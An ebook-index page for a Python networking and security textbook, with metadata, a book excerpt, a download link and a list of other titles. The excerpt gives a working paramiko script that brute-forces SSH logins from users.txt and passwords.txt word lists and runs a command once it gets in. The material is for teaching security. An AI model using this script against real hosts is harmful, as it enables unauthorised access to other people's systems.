Mastering Python for Networking and Security by José Manuel Ortega
Author:José Manuel Ortega
Language: eng
Format: epub, mobi
Tags: COM043050 - COMPUTERS / Security / Networking, COM051360 - COMPUTERS / Programming Languages / Python, COM053000 - COMPUTERS / Security / General
Publisher: Packt Publishing
Published: 2018-09-28T06:08:54+00:00
class SSHConnection:
def __init__(self):
#ssh connection with paramiko library
self.ssh = paramiko.SSHClient()
def ssh_connect(self,ip,user,password,code=0):
self.ssh.load_system_host_keys()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
print("[*] Testing user and password from dictionary")
print("[*] User: %s" %(user))
print("[*] Pass :%s" %(password))
try:
self.ssh.connect(ip,port=22,username=user,password=password,timeout=5)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code = 2
self.ssh.close()
return code
For the brute-force process, we can define one function that iterates over users' and passwords' files and tries to establish a connection with the ssh for each combination:
def startSSHBruteForce(self,host):
try:
#open files dictionary
users_file = open("users.txt")
passwords_file = open("passwords.txt")
for user in users_file.readlines():
for password in passwords_file.readlines():
user_text = user.strip("\n")
password_text = password.strip("\n")
try:
#check connection with user and password
response = self.ssh_connect(host,user_text,password_text)
if response == 0:
print("[*] User: %s [*] Pass Found:%s" %(user_text,password_text))
stdin,stdout,stderr = self.ssh.exec_command("ifconfig")
for line in stdout.readlines():
print(line.strip())
sys.exit(0)
elif response == 1:
print("[*]Login incorrect")
elif response == 2:
print("[*] Connection could not be established to %s" %(host))
sys.exit(2)
except Exception as e:
print("Error ssh connection")
pass
#close files
users_file.close()
passwords_file.close()
except Exception as e:
print("users.txt /passwords.txt Not found")
pass
Download
Mastering Python for Networking and Security by José Manuel Ortega.mobi
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.
Sass and Compass in Action by Wynn Netherland Nathan Weizenbaum Chris Eppstein Brandon Mathis(7144)
Grails in Action by Glen Smith Peter Ledbrook(7020)
Kotlin in Action by Dmitry Jemerov(4327)
Management Strategies for the Cloud Revolution: How Cloud Computing Is Transforming Business and Why You Can't Afford to Be Left Behind by Charles Babcock(3934)
The Age of Surveillance Capitalism by Shoshana Zuboff(3075)
Learn Windows PowerShell in a Month of Lunches by Don Jones(3009)
Blockchain Basics by Daniel Drescher(2602)
TCP IP by Todd Lammle(2383)
From CIA to APT: An Introduction to Cyber Security by Edward G. Amoroso & Matthew E. Amoroso(2285)
Mastering Python for Networking and Security by José Manuel Ortega(2255)
MCSA Windows Server 2016 Study Guide: Exam 70-740 by William Panek(2195)
React Native - Building Mobile Apps with JavaScript by Novick Vladimir(2173)
The Art Of Deception by Kevin Mitnick(2071)
The Social Psychology of Inequality by Unknown(2045)
Blockchain: Ultimate Step By Step Guide To Understanding Blockchain Technology, Bitcoin Creation, and the future of Money (Novice to Expert) by Keizer Söze(1991)
Mastering Azure Security by Mustafa Toroman and Tom Janetscheck(1791)
Networking A Beginner's Guide by Bruce Hallberg(1780)
Applied Network Security by Arthur Salmon & Michael McLafferty & Warun Levesque(1761)
Wireless Hacking 101 by Karina Astudillo(1707)
